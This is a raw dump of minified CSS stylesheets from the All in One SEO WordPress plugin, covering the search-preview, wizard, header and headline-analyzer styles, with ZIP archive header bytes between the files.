"UTF-8";.aioseo-google-search-preview--mobile .aioseo-google-search-preview__review-snippet__stars[data-v-546c0ec9]{order:2}.aioseo-google-search-preview--mobile .aioseo-google-search-preview__review-snippet__rating[data-v-546c0ec9]{order:1}.aioseo-google-search-preview--mobile .aioseo-google-search-preview__review-snippet__rating span[data-v-546c0ec9]{display:none}.aioseo-google-search-preview--mobile .aioseo-google-search-preview__review-snippet__count.bullet[data-v-546c0ec9]:before{display:none}.aioseo-google-search-preview--mobile .aioseo-google-search-preview__anchor__link[data-v-546c0ec9]{border:1px solid #e4e4e4;border-radius:3px;padding:4px 6px}.aioseo-google-search-preview--mobile .aioseo-google-search-preview__anchor__bullet[data-v-546c0ec9],.aioseo-google-search-preview--mobile .aioseo-google-search-preview__faq[data-v-546c0ec9]{display:none}.aioseo-google-search-preview__main[data-v-546c0ec9]{background-color:#fff;display:grid;grid-template-areas:"favicon location" "title title" "description description";grid-template-columns:38px minmax(0,1fr);grid-template-rows:auto auto auto;width:100%}.aioseo-google-search-preview__favicon[data-v-546c0ec9]{align-items:center;display:flex;grid-area:favicon}.aioseo-google-search-preview__favicon .favicon-wrapper[data-v-546c0ec9]{align-items:center;background-color:#f1f3f4;border-radius:50%;color:#0060f0;display:flex;height:28px;justify-content:center;width:28px}.aioseo-google-search-preview__favicon .favicon-wrapper img[data-v-546c0ec9]{height:18px;width:18px}.aioseo-google-search-preview__location[data-v-546c0ec9]{grid-area:location;line-height:1.4}.aioseo-google-search-preview__location .hostname[data-v-546c0ec9]{color:#202124;font-size:14px}.aioseo-google-search-preview__location .url[data-v-546c0ec9]{color:#5f6368;font-size:12px}.aioseo-google-search-preview__title[data-v-546c0ec9],.aioseo-google-search-preview__description[data-v-546c0ec9]{overflow-wrap:break-word;word-break:break-word}.aioseo-google-search-preview__title[data-v-546c0ec9]{color:#180ea4;font-size:20px;grid-area:title;margin-top:4px}.aioseo-google-search-preview__description[data-v-546c0ec9]{color:#4e5156;font-size:14px;grid-area:description;line-height:1.4;margin-top:4px;width:100%}.aioseo-google-search-preview__description[data-v-546c0ec9]:empty{display:none}.aioseo-google-search-preview__description[data-v-546c0ec9] strong{font-weight:600}.aioseo-google-search-preview__review-snippet[data-v-546c0ec9]{align-items:center;color:#70757a;display:flex;font-size:13px;gap:5px;line-height:normal;margin-top:3px}.aioseo-google-search-preview__review-snippet__stars[data-v-546c0ec9]{background-image:url("data:image/svg+xml,");background-repeat:repeat-x;height:11px;order:1;overflow:hidden;position:relative;width:66px}.aioseo-google-search-preview__review-snippet__stars div[data-v-546c0ec9]{background-image:url("data:image/svg+xml,");height:11px;width:var(--dbfb0334)}.aioseo-google-search-preview__review-snippet__rating[data-v-546c0ec9]{order:2}.aioseo-google-search-preview__review-snippet__count[data-v-546c0ec9]{order:3}.aioseo-google-search-preview__review-snippet__price[data-v-546c0ec9]{order:4}.aioseo-google-search-preview__review-snippet .bullet[data-v-546c0ec9]:before{content:"•";font-size:10px}[dir=ltr] .aioseo-google-search-preview__review-snippet .bullet[data-v-546c0ec9]:before{margin:0 5px 0 0}[dir=rtl] .aioseo-google-search-preview__review-snippet .bullet[data-v-546c0ec9]:before{margin:0 0 0 5px}.aioseo-google-search-preview__anchor[data-v-546c0ec9]{display:flex;gap:8px;line-height:normal;margin-top:6px;overflow:hidden}.aioseo-google-search-preview__anchor__link[data-v-546c0ec9]{color:#1a0dab;cursor:pointer;display:inline-block;font-size:14px;white-space:nowrap}.aioseo-google-search-preview__anchor__bullet[data-v-546c0ec9]{color:#70757a;display:inline-block;font-size:12px}.aioseo-google-search-preview__faq[data-v-546c0ec9]{margin-top:12px}.aioseo-google-search-preview__faq__container[data-v-546c0ec9]{-webkit-appearance:none;-moz-appearance:none;appearance:none;border-top:1px solid #dadce0;color:#4e5156;font-size:14px;line-height:normal;list-style:none;padding:8px 0}.aioseo-google-search-preview__faq__container .aioseo-caret[data-v-546c0ec9]{transform:rotate(0);transition:transform .2s ease-in-out}[dir=ltr] .aioseo-google-search-preview__faq__container[open] .aioseo-caret[data-v-546c0ec9]{transform:rotate(180deg)}[dir=rtl] .aioseo-google-search-preview__faq__container[open] .aioseo-caret[data-v-546c0ec9]{transform:rotate(-180deg)}.aioseo-google-search-preview__faq__question[data-v-546c0ec9]{align-items:center;-webkit-appearance:none;-moz-appearance:none;appearance:none;cursor:pointer;display:flex;justify-content:space-between}.aioseo-google-search-preview__faq__answer[data-v-546c0ec9]{display:block;margin-top:8px}.aioseo-google-search-preview .text-truncate[data-v-546c0ec9]{overflow:hidden;text-overflow:ellipsis;white-space:nowrap} PKÉ—[>ïÑ=WW<all-in-one-seo-pack/dist/Lite/assets/css/Header.DtFLNPNM.cssnu„[µü¤.aioseo-wizard-body{background-color:#fff;max-width:900px;box-shadow:0 2px 5px #0000000d}.aioseo-wizard-body .body-content{padding:40px}.aioseo-wizard-body .body-content .header{font-size:24px;line-height:30px;color:#141b38;font-weight:600}.aioseo-wizard-body .body-content .header+*:not(.description){margin-top:20px}.aioseo-wizard-body .body-content .description{line-height:24px;margin-block:16px 20px;font-size:16px;color:#434960}.aioseo-wizard-body .body-footer{border-top:1px solid #E8E8EB;padding:20px 40px;display:flex;align-items:center}[dir=ltr] .aioseo-wizard-body .body-footer>*{margin-right:16px}[dir=rtl] .aioseo-wizard-body .body-footer>*{margin-left:16px}[dir=ltr] .aioseo-wizard-body .body-footer>*:last-child{margin-right:0}[dir=rtl] .aioseo-wizard-body .body-footer>*:last-child{margin-left:0}.aioseo-wizard-body .body-footer>.aioseo-button{font-size:14px;line-height:22px;height:40px}.aioseo-wizard-body .body-footer .spacer{flex:1 0 auto}.aioseo-wizard-container{margin:40px auto;max-width:850px}@media screen and (max-width: 782px){.aioseo-wizard-container{margin:0 20px}}.aioseo-wizard-progress{display:flex;align-items:center;justify-content:center}@media screen and (max-width: 782px){.aioseo-wizard-progress{display:none}}.aioseo-wizard-progress .circle{background-color:#dcdde1;width:16px;height:16px;border-radius:50%}.aioseo-wizard-progress .circle.active{background-color:#005ae0}.aioseo-wizard-progress .spacer{width:59px;border:1px solid #DCDDE1;margin:0 12px}.aioseo-wizard-progress .spacer.active{border-color:#005ae0}.aioseo-wizard-header{display:flex;align-items:center;justify-content:center;flex-direction:column}.aioseo-wizard-header svg.aioseo-logo{margin:60px 0 40px;width:100%;max-width:140px;height:auto}[dir=ltr] .aioseo-wizard-header svg.aioseo-logo{margin-right:10px}[dir=rtl] .aioseo-wizard-header svg.aioseo-logo{margin-left:10px} PKÉ—[€™|ÙÙ<all-in-one-seo-pack/dist/Lite/assets/css/Header.DY2P29Mq.cssnu„[µü¤.aioseo-percent-circle{width:40px;height:40px;min-width:40px;min-height:40px;position:relative;cursor:pointer}.aioseo-percent-circle .aioseo-percent-circle-score__circle{transform-origin:center;stroke:#005ae0}[dir=ltr] .aioseo-percent-circle .aioseo-percent-circle-score__circle{transform:rotate(-90deg)}[dir=rtl] .aioseo-percent-circle .aioseo-percent-circle-score__circle{transform:rotate(90deg)}@keyframes aioseo-percent-circle-score-fill{to{stroke-dasharray:0 100}}.aioseo-percent-circle .aioseo-percent-circle-percent{position:absolute;top:0;left:0;right:0;bottom:0;display:flex;align-items:center;justify-content:center;font-size:12px;font-weight:700}.aioseo-percent-circle .fill-percent-circle-enter-active .aioseo-percent-circle-score__circle,.aioseo-percent-circle .fill-percent-circle-leave-active .aioseo-percent-circle-score__circle{transition:stroke-dasharray 1s}.aioseo-percent-circle .fill-percent-circle-enter-from .aioseo-percent-circle-score__circle,.aioseo-percent-circle .fill-percent-circle-leave-to .aioseo-percent-circle-score__circle{stroke-dasharray:0 100}.aioseo-processing-popup{display:flex;max-width:510px;position:fixed;bottom:20px;filter:drop-shadow(0px 2px 10px rgba(0,90,224,.2));background:#fff;border:1px solid #DCDDE1;border-radius:3px;padding:15px 24px;color:#141b38;z-index:1001}[dir=ltr] .aioseo-processing-popup{right:20px}[dir=rtl] .aioseo-processing-popup{left:20px}[dir=ltr] .aioseo-processing-popup>div{margin-right:20px}[dir=rtl] .aioseo-processing-popup>div{margin-left:20px}.aioseo-processing-popup>svg{position:absolute;top:12px;color:#8c8f9a;cursor:pointer;width:10px;height:10px;min-width:10px;min-height:10px}[dir=ltr] .aioseo-processing-popup>svg{right:12px}[dir=rtl] .aioseo-processing-popup>svg{left:12px}.aioseo-processing-popup>svg:hover{color:#141b38}.fade-processing-popup-enter-active,.fade-processing-popup-leave-active{transition:opacity 1s,transform 1s ease-in-out}.fade-processing-popup-enter-from,.fade-processing-popup-leave-to{opacity:0;transform:translate3d(0,-100%,0)}.aioseo-app .aioseo-upgrade-bar{display:flex;align-items:center;height:40px;background-color:#00aa63;justify-content:center;color:#fff;font-size:14px;padding:0 20px}.aioseo-app .aioseo-upgrade-bar .upgrade-text{display:flex;align-items:center;flex:1;justify-content:center}.aioseo-app .aioseo-upgrade-bar .upgrade-arrow{font-size:15px;text-decoration:none}.aioseo-app .aioseo-upgrade-bar .upgrade-arrow:hover{text-decoration:none}.aioseo-app .aioseo-upgrade-bar strong{font-weight:600}.aioseo-app .aioseo-upgrade-bar svg.aioseo-logo-gear{width:20px;height:20px;min-width:20px}[dir=ltr] .aioseo-app .aioseo-upgrade-bar svg.aioseo-logo-gear{margin-right:14px}[dir=rtl] .aioseo-app .aioseo-upgrade-bar svg.aioseo-logo-gear{margin-left:14px}.aioseo-app .aioseo-upgrade-bar svg.aioseo-close{cursor:pointer;width:12px;height:12px}.aioseo-app .aioseo-upgrade-bar a{color:#fff;text-decoration:underline}.aioseo-app .aioseo-upgrade-bar a:hover{text-decoration:none}@media screen and (max-width: 782px){.aioseo-app .aioseo-upgrade-bar{padding:0 10px;height:60px}}.aioseo-container-fluid,.aioseo-container{margin-right:auto;margin-left:auto}.aioseo-container{padding:0;width:calc(100% - var(--aioseo-gutter) * 2);max-width:1240px}.aioseo-container.full-width{width:100%;max-width:100%}.aioseo-container.small{max-width:810px}.aioseo-container-fluid.hero,.aioseo-container.hero{min-height:100vh;display:flex;justify-content:center;align-items:center}.aioseo-container-fluid{padding-right:2rem;padding-left:2rem}html:not([data-scroll="0"]) .aioseo-header{box-shadow:0 2px 5px #0000000d;transition:box-shadow .6s}.aioseo-header{position:fixed;z-index:1051;top:0;right:0;left:0;background-color:#fff;height:var(--aioseo-header-height, 72px);color:#141b38}.aioseo-header .mascot{width:35px;height:auto}[dir=ltr] .aioseo-header .mascot{margin-right:10px}[dir=rtl] .aioseo-header .mascot{margin-left:10px}.aioseo-header .aioseo-header-content{padding:0;display:flex;height:72px;align-items:center;gap:4px}.aioseo-header .aioseo-header-content a:focus{box-shadow:none}.aioseo-header .aioseo-header-content svg.aioseo-logo{height:20px}.aioseo-header .aioseo-header-content .spacer{display:inline-flex;width:20px;height:2px;background:#d0d1d7}[dir=ltr] .aioseo-header .aioseo-header-content .spacer{transform:rotate(-70deg)}[dir=rtl] .aioseo-header .aioseo-header-content .spacer{transform:rotate(70deg)}.aioseo-header .aioseo-header-content .page-name{display:inline-flex;font-size:16px;font-weight:400;flex:1 0 auto}.aioseo-header .aioseo-header-content .header-actions{display:flex}.aioseo-header .aioseo-header-content .header-actions .round{position:relative;background-color:#f3f4f5;border-radius:50%;width:40px;height:40px;display:flex;align-items:center;justify-content:center;cursor:pointer;transition:background-color .2s ease}[dir=ltr] .aioseo-header .aioseo-header-content .header-actions .round{margin-left:10px}[dir=rtl] .aioseo-header .aioseo-header-content .header-actions .round{margin-right:10px}.aioseo-header .aioseo-header-content .header-actions .round svg{width:20px;height:20px}.aioseo-header .aioseo-header-content .header-actions .round:hover{background-color:#e5e7e9}.aioseo-header .aioseo-header-content .header-actions .number{position:absolute;background-color:#df2a4a;width:16px;height:16px;font-weight:600;font-size:10px;color:#fff;top:-8px;margin:0;animation:bounce 2s 5;will-change:transform}[dir=ltr] .aioseo-header .aioseo-header-content .header-actions .number{left:50%;transform:translate(-50%)}[dir=rtl] .aioseo-header .aioseo-header-content .header-actions .number{right:50%;transform:translate(50%)}.aioseo-header .aioseo-header-content .header-actions .number:hover{background-color:#df2a4a}@keyframes bounce{0%,25%,50%,75%,to{transform:translate(-50%)}40%{transform:translate(-50%,-8px)}60%{transform:translate(-50%,-4px)}}.aioseo-header .fade-percent-circle-enter-active,.aioseo-header .fade-percent-circle-leave-active{transition:opacity .5s}.aioseo-header .fade-percent-circle-enter-from,.aioseo-header .fade-percent-circle-leave-to{opacity:0} PKÉ—[Oᦿ}¿}Gall-in-one-seo-pack/dist/Lite/assets/css/headline-analyzer.B2jtCUmV.cssnu„[µü¤.aioseo-inline-buttons{display:grid;grid-template-columns:repeat(2,1fr)}.aioseo-switcher-button{border:0;border-radius:0;font-size:14px;font-weight:400;color:#434960;padding:16px 10px;box-shadow:0 2px #e8e8eb;cursor:pointer;white-space:nowrap;position:relative;transition:.4s cubic-bezier(.4,0,.2,1);background:#fafafa}[dir=ltr] .aioseo-switcher-button{text-align:left}[dir=rtl] .aioseo-switcher-button{text-align:right}.aioseo-switcher-button:before{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;opacity:0;transition:.4s cubic-bezier(.4,0,.2,1);will-change:background-color,opacity;content:" "}.aioseo-switcher-button.active:before,.aioseo-switcher-button:hover:before,.aioseo-switcher-button:active:before{background-color:currentColor;opacity:.12}.aioseo-switcher-button.active{font-weight:700;color:#141b38;box-shadow:0 2px #005ae0}.aioseo-headline-analyzer-wrapper{position:relative;font-size:14px}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-pie-chart-container{position:relative;width:200px;height:200px;margin:0 auto 16px}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-pie-chart-container .aioseo-headline-analyzer-total-out-of-score{font-size:18px;color:#8c8f9a;font-weight:600;z-index:0}.aioseo-headline-analyzer-wrapper .components-panel__body svg.components-panel__arrow{top:50%;margin-top:-12px;transition:.3s}[dir=ltr] .aioseo-headline-analyzer-wrapper .components-panel__body svg.components-panel__arrow{transform:rotate(-90deg)}[dir=rtl] .aioseo-headline-analyzer-wrapper .components-panel__body svg.components-panel__arrow{transform:rotate(90deg)}.aioseo-headline-analyzer-wrapper .components-panel__body.is-opened svg.components-panel__arrow{transform:rotate(0)}.aioseo-headline-analyzer-wrapper p{font-size:14px;line-height:22px;color:#434960;margin-bottom:12px}.aioseo-headline-analyzer-wrapper p>strong{font-size:inherit;font-weight:600}.aioseo-headline-analyzer-wrapper .green{color:#00aa63}.aioseo-headline-analyzer-wrapper .orange{color:#f18200}.aioseo-headline-analyzer-wrapper .red{color:#df2a4a}.aioseo-headline-analyzer-wrapper .green-bg{background:#00aa63}.aioseo-headline-analyzer-wrapper .orange-bg{background:#f18200}.aioseo-headline-analyzer-wrapper .red-bg{background:#df2a4a}.aioseo-headline-analyzer-wrapper .components-panel__body-toggle.components-button{font-size:14px;line-height:22px;font-weight:600;color:#141b38;padding-block:13px}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-empty-title-warning{margin:16px!important;color:#141b38;text-align:start}.aioseo-headline-analyzer-wrapper .components-panel__body.is-opened>.components-panel__body-title{margin:0}.aioseo-headline-analyzer-wrapper .components-panel__body.is-opened{padding:0}.aioseo-headline-analyzer-wrapper .components-panel__body.is-opened .aioseo-headline-analyzer-words-block,.aioseo-headline-analyzer-wrapper .components-panel__body.is-opened .aioseo-headline-analyzer-panel-first-block{padding:0 16px}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-panel-score.is-opened .components-panel__body-title,.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-panel-sentiment.is-opened .components-panel__body-title,.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-panel-previous-scores.is-opened .components-panel__body-title,.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-panel-character-count.is-opened .components-panel__body-title,.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-panel-tab-new-score.is-opened .components-panel__body-title,.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-panel-tab-new-score-form.is-opened .components-panel__body-title,.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-panel-word-count.is-opened .components-panel__body-title,.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-panel-beginning-ending-words.is-opened .components-panel__body-title,.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-panel-search-preview.is-opened .components-panel__body-title,.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-panel-types.is-opened .components-panel__body-title,.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-panel-word-balance.is-opened .components-panel__body-title{border-bottom:1px solid #e8e8eb;margin-bottom:16px}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-current-score,.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-score-status{position:absolute;top:45%;left:0;right:0;text-align:center;font-size:50px;line-height:0%;z-index:0;font-weight:600}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-current-score p,.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-score-status p{margin-bottom:0}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-new-score-panel{top:calc(58% + 16px)}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-score-status{top:65%;font-size:16px;z-index:0}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-current-score-tab p{text-align:center}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-current-score-tab .aioseo-headline-analyzer-current-title{text-align:center;font-size:14px;color:#141b38;margin:0 0 12px;line-height:22px}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-new-score-panel h4{text-align:center;font-size:16px;color:#141b38;margin:0 0 28px;line-height:1.4}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-new-score-panel .aioseo-headline-analyzer-pie-chart-container{position:relative;width:200px;height:200px;margin:0 auto 16px}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-new-score-panel .aioseo-headline-analyzer-pie-chart-container .aioseo-headline-analyzer-new-score{position:absolute;top:calc(38% + 16px);left:0;right:0;text-align:center;font-size:50px;font-weight:600;line-height:0%;z-index:10}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-new-score-panel .aioseo-headline-analyzer-pie-chart-container .aioseo-headline-analyzer-new-score p{margin-bottom:0}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-new-score-panel .current-score{border-top:1px solid #E8E8EB;padding-top:24px;display:flex;align-items:center;flex-direction:row}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-new-score-panel .current-score .aioseo-headline-analyzer-score{min-height:40px;min-width:40px;font-weight:600;color:#fff;text-align:center;line-height:40px;border-radius:50%;font-size:18px}[dir=ltr] .aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-new-score-panel .current-score .aioseo-headline-analyzer-score{margin-right:16px}[dir=rtl] .aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-new-score-panel .current-score .aioseo-headline-analyzer-score{margin-left:16px}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-new-score-panel .current-score h5{font-weight:400;color:#8c8f9a;margin-top:0;margin-bottom:8px;font-size:13px}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-new-score-panel .current-score p{margin-top:8px}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-new-score-form-block{padding:0 16px 16px}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-new-score-form-block form label{text-transform:none;font-weight:400}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-input-field{margin-bottom:10px}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-input-field .components-base-control__label{display:block;max-width:100%;font-size:14px;line-height:22px;font-weight:400;text-transform:none;margin:0 0 12px;color:#434960}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-input-field input{padding:11px 12px;font-size:13px;border:1px solid #D0D1D7;color:#393f4c;border-radius:3px}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-button{font-size:14px;border-radius:4px;padding:0;height:40px;background:#005ae0;width:100%;justify-content:center;color:#fff;font-weight:600;border:1px solid transparent;transition:background-color .2s ease;opacity:1}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-button:disabled{border:1px solid #dcdde1;background-color:#f3f4f5;color:#8c8f9a;cursor:default}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-button:disabled:hover{color:#8c8f9a}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-button:hover,.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-button:focus,.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-button:visited{color:#fff;box-shadow:none}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-score-difference{font-weight:600;position:absolute;left:0;top:16%;right:0;text-align:center;width:42px;height:26px;margin:0 auto;font-size:16px;line-height:26px;border-radius:4px}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-score-difference.red{background:#fbe9ec}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-score-difference.orange{background:#fcfae8}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-score-difference.green{background:#cbeae1}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-previous-scores{margin:0!important}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-previous-scores li{margin-bottom:16px;cursor:pointer;display:flex;flex-direction:row;align-items:center;color:#434960}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-previous-scores li span.aioseo-headline-analyzer-score{min-height:24px;min-width:24px;font-size:11px;text-align:center;line-height:24px;border-radius:50%;color:#fff;font-weight:600}[dir=ltr] .aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-previous-scores li span.aioseo-headline-analyzer-score{margin-right:12px}[dir=rtl] .aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-previous-scores li span.aioseo-headline-analyzer-score{margin-left:12px}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-previous-scores li span.aioseo-headline-analyzer-score-text{flex-basis:calc(100% - 32px)}.aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-has-icon .components-panel__body-toggle .components-panel__icon{position:absolute;top:50%;margin-top:-10px}[dir=ltr] .aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-has-icon .components-panel__body-toggle .components-panel__icon{right:52px}[dir=rtl] .aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-has-icon .components-panel__body-toggle .components-panel__icon{left:52px}.aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-has-icon.red .components-panel__body-toggle .components-panel__icon path{fill:#df2a4a}.aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-has-icon.orange .components-panel__body-toggle .components-panel__icon path{fill:#f18200}.aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-has-icon.green .components-panel__body-toggle .components-panel__icon path{fill:#00aa63}.aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-has-icon-alternative{position:relative}.aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-has-icon-alternative .aioseo-headline-analyzer-panel-icon-alternative{position:absolute;top:14px;font-weight:600}[dir=ltr] .aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-has-icon-alternative .aioseo-headline-analyzer-panel-icon-alternative{right:40px}[dir=rtl] .aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-has-icon-alternative .aioseo-headline-analyzer-panel-icon-alternative{left:40px}.aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-word-balance .components-panel__row,.aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-sentiment .components-panel__row,.aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-types .components-panel__row,.aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-character-count .components-panel__row,.aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-word-count .components-panel__row,.aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-beginning-ending-words .components-panel__row,.aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-search-preview .components-panel__row{display:block}.aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-word-balance .components-panel__row h4,.aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-sentiment .components-panel__row h4,.aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-types .components-panel__row h4,.aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-character-count .components-panel__row h4,.aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-word-count .components-panel__row h4,.aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-beginning-ending-words .components-panel__row h4,.aioseo-headline-analyzer-wrapper .components-panel__body.aioseo-headline-analyzer-panel-search-preview .components-panel__row h4{font-size:14px;color:#141b38;font-weight:600;margin:0 0 12px}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block{margin-top:12px;border-bottom:1px solid #e8e8eb}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block h5{font-size:12px;line-height:18px;color:#434960;margin-top:0;margin-bottom:8px;font-weight:600}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block .aioseo-headline-analyzer-words-block-data{overflow:hidden;display:flex;flex-direction:row}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block .aioseo-headline-analyzer-words-block-data span{display:block;flex-basis:70%;z-index:0}[dir=ltr] .aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block .aioseo-headline-analyzer-words-block-data span{float:left}[dir=rtl] .aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block .aioseo-headline-analyzer-words-block-data span{float:right}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block .aioseo-headline-analyzer-words-block-data span.aioseo-headline-analyzer-words-block-percentage{font-size:24px;line-height:30px;font-weight:600;flex-basis:25%;justify-content:flex-start;align-items:center;display:flex}[dir=ltr] .aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block .aioseo-headline-analyzer-words-block-data span.aioseo-headline-analyzer-words-block-percentage{margin-right:11px}[dir=rtl] .aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block .aioseo-headline-analyzer-words-block-data span.aioseo-headline-analyzer-words-block-percentage{margin-left:11px}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block .aioseo-headline-analyzer-words-block-data span.aioseo-headline-analyzer-words-block-goal{width:100%;font-size:14px;line-height:22px;font-weight:400;color:#8c8f9a}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block .aioseo-headline-analyzer-words-block-data span.aioseo-headline-analyzer-words-block-progressbar{width:100%;position:relative;height:4px;margin-top:4px}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block .aioseo-headline-analyzer-words-block-data span.aioseo-headline-analyzer-words-block-progressbar .aioseo-headline-analyzer-progressbar-bg{width:100%;background:#eef0f2;height:4px;z-index:9;position:absolute;top:0;border-radius:30px}[dir=ltr] .aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block .aioseo-headline-analyzer-words-block-data span.aioseo-headline-analyzer-words-block-progressbar .aioseo-headline-analyzer-progressbar-bg{left:0}[dir=rtl] .aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block .aioseo-headline-analyzer-words-block-data span.aioseo-headline-analyzer-words-block-progressbar .aioseo-headline-analyzer-progressbar-bg{right:0}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block .aioseo-headline-analyzer-words-block-data span.aioseo-headline-analyzer-words-block-progressbar .aioseo-headline-analyzer-progressbar-part{position:absolute;height:4px;top:0;z-index:10;border-radius:30px}[dir=ltr] .aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block .aioseo-headline-analyzer-words-block-data span.aioseo-headline-analyzer-words-block-progressbar .aioseo-headline-analyzer-progressbar-part{left:0}[dir=rtl] .aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block .aioseo-headline-analyzer-words-block-data span.aioseo-headline-analyzer-words-block-progressbar .aioseo-headline-analyzer-progressbar-part{right:0}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block .aioseo-headline-analyzer-words-tag-list{margin:8px 0 0;padding:0;list-style:none;display:block}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block .aioseo-headline-analyzer-words-tag-list li{display:inline-block;font-size:12px;line-height:18px;font-weight:600;color:#434960;background:#f3f4f5;border-radius:3px;padding:1px 8px}[dir=ltr] .aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block .aioseo-headline-analyzer-words-tag-list li{margin:0 8px 8px 0}[dir=rtl] .aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block .aioseo-headline-analyzer-words-tag-list li{margin:0 0 8px 8px}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-words-block .aioseo-headline-analyzer-words-guideline{color:#4f4f4f}.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-character-length>span,.aioseo-headline-analyzer-wrapper .aioseo-headline-analyzer-word-length>span{width:34px;height:50px;display:inline-block;background:#e8e8eb;text-align:center;line-height:50px;font-size:24px;color:#2c324c;font-weight:600;border-radius:4px}[dir=ltr] .aioseo-headline-analyzer-wrapper 